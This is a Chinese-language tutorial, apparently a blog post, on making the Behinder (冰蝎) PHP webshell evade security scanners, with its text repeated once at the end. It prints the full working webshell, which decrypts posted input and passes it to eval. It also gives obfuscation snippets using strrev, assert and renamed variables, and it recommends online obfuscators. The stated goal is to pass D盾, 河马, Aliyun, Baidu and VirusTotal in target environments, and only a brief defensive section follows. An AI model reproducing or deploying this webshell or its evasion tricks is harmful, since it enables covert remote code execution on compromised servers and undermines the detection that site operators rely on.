冰蝎webshell免杀
字数 1134 2025-08-29 08:32:18

冰蝎WebShell免杀技术详解

一、背景与现状

冰蝎(Behinder)是一款常见的WebShell管理工具,其默认的WebShell脚本已被各大安全厂商加入特征库检测。本文详细分析冰蝎WebShell的免杀技术,通过多种方法绕过主流杀软检测。

当前主流检测工具:

  • D盾
  • 河马查杀
  • 阿里云WebShell查杀
  • 百度WebShell查杀
  • VirusTotal

二、原始冰蝎WebShell分析

原始冰蝎PHP WebShell代码:

<?php 
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; // 32位md5前16位,默认密码rebeyond
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl')){
    $t="base64_"."decode";
    $post=$t($post."");
    for($i=0;$i<strlen($post);$i++){
        $post[$i]=$post[$i]^$key[$i+1&15];
    }
} else {
    $post=openssl_decrypt($post,"AES128",$key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{
    public function __invoke($p){
        eval($p."");
    }
}
@call_user_func(new C(),$params);
?>

特征分析

  1. 固定的$key变量名和格式
  2. file_get_contents("php://input")获取输入
  3. 使用openssl_decrypt或异或解密
  4. eval执行代码
  5. call_user_func调用方式

三、基础免杀技术

1. 字符串反转(strrev)

$zyq = (strrev("stnetnoc_teg_elif"))(strrev("tupni//:php"));
// 等价于 file_get_contents("php://input")

2. 变量名混淆

$ok = "1989870a9753c7b3"; // 原$key
$_SESSION['k'] = $ok;
$love = 15; // 替代15

3. 添加无用注释

/* 我啥也不知道..... 
sjfasaadssada 
dadadad */

4. 类名和方法混淆

class MOL {
    public function __construct($p){
        $a = null;
        $l = null;
        assert("/*#`|W$~Q*/".$l.$p.$a."".$/*#`|W$~Q*/");
    }
}

5. 加密函数名

$zyq = (strrev("tpyrced_lssnepo"))($zyq,"AES128",$ok);
// 等价于 openssl_decrypt

四、高级免杀技术 - 代码混淆加密

使用在线加密工具(如https://enphp.djunny.com/)进行深度混淆:

  1. 勾选所有加密选项
  2. 生成高度混淆的代码
  3. 主要混淆技术:
    • goto跳转控制流
    • 十六进制编码
    • 字符串分割拼接
    • 无用代码插入
    • 函数名混淆

混淆后特点

  • 大量goto语句打乱执行流程
  • 使用十六进制表示数字
  • 函数名替换为Unicode字符
  • 字符串使用base64分段拼接
  • 插入大量无用代码块

五、免杀效果验证

  1. D盾/河马查杀:通过基础混淆即可绕过
  2. 百度/阿里云查杀:需要深度混淆加密
  3. VirusTotal:全绿通过
  4. 在线查杀平台:n.shellpub.com等平台检测通过

六、连接测试

  1. 使用冰蝎客户端连接
  2. 密码为加密后的密钥
  3. 功能与原始WebShell完全一致

七、免杀技术总结

  1. 静态免杀技术

    • 字符串操作(strrev, substr等)
    • 变量/函数名随机化
    • 代码结构重组
    • 注释和空白符插入
    • 加密敏感字符串
  2. 动态免杀技术

    • 使用assert替代eval
    • 分块代码执行
    • 延迟加载敏感函数
    • 环境检测绕过
  3. 高级技巧

    • 使用专业混淆工具
    • 自定义加密算法
    • 利用PHP特性(魔术方法等)
    • 代码分块存储

八、注意事项

  1. 免杀效果具有时效性,公开的免杀方法会逐渐失效
  2. 不同加密工具产生的效果不同,可能需要多次尝试
  3. 实际环境中需结合目标环境调整混淆策略
  4. 建议自行开发混淆算法而非依赖公开工具

九、防御建议

对于防御方:

  1. 不要依赖单一检测工具
  2. 关注异常行为而非静态特征
  3. 监控文件修改和可疑PHP函数调用
  4. 限制上传文件执行权限

本技术文档详细分析了冰蝎WebShell的免杀技术路线,从基础混淆到深度加密,提供了完整的免杀方案。实际应用中可根据需要调整混淆强度。

冰蝎WebShell免杀技术详解 一、背景与现状 冰蝎(Behinder)是一款常见的WebShell管理工具,其默认的WebShell脚本已被各大安全厂商加入特征库检测。本文详细分析冰蝎WebShell的免杀技术,通过多种方法绕过主流杀软检测。 当前主流检测工具: D盾 河马查杀 阿里云WebShell查杀 百度WebShell查杀 VirusTotal 二、原始冰蝎WebShell分析 原始冰蝎PHP WebShell代码: 特征分析 : 固定的 $key 变量名和格式 file_get_contents("php://input") 获取输入 使用 openssl_decrypt 或异或解密 eval 执行代码 call_user_func 调用方式 三、基础免杀技术 1. 字符串反转(strrev) 2. 变量名混淆 3. 添加无用注释 4. 类名和方法混淆 5. 加密函数名 四、高级免杀技术 - 代码混淆加密 使用在线加密工具(如https://enphp.djunny.com/)进行深度混淆: 勾选所有加密选项 生成高度混淆的代码 主要混淆技术: goto跳转控制流 十六进制编码 字符串分割拼接 无用代码插入 函数名混淆 混淆后特点 : 大量goto语句打乱执行流程 使用十六进制表示数字 函数名替换为Unicode字符 字符串使用base64分段拼接 插入大量无用代码块 五、免杀效果验证 D盾/河马查杀 :通过基础混淆即可绕过 百度/阿里云查杀 :需要深度混淆加密 VirusTotal :全绿通过 在线查杀平台 :n.shellpub.com等平台检测通过 六、连接测试 使用冰蝎客户端连接 密码为加密后的密钥 功能与原始WebShell完全一致 七、免杀技术总结 静态免杀技术 : 字符串操作(strrev, substr等) 变量/函数名随机化 代码结构重组 注释和空白符插入 加密敏感字符串 动态免杀技术 : 使用assert替代eval 分块代码执行 延迟加载敏感函数 环境检测绕过 高级技巧 : 使用专业混淆工具 自定义加密算法 利用PHP特性(魔术方法等) 代码分块存储 八、注意事项 免杀效果具有时效性,公开的免杀方法会逐渐失效 不同加密工具产生的效果不同,可能需要多次尝试 实际环境中需结合目标环境调整混淆策略 建议自行开发混淆算法而非依赖公开工具 九、防御建议 对于防御方: 不要依赖单一检测工具 关注异常行为而非静态特征 监控文件修改和可疑PHP函数调用 限制上传文件执行权限 本技术文档详细分析了冰蝎WebShell的免杀技术路线,从基础混淆到深度加密,提供了完整的免杀方案。实际应用中可根据需要调整混淆强度。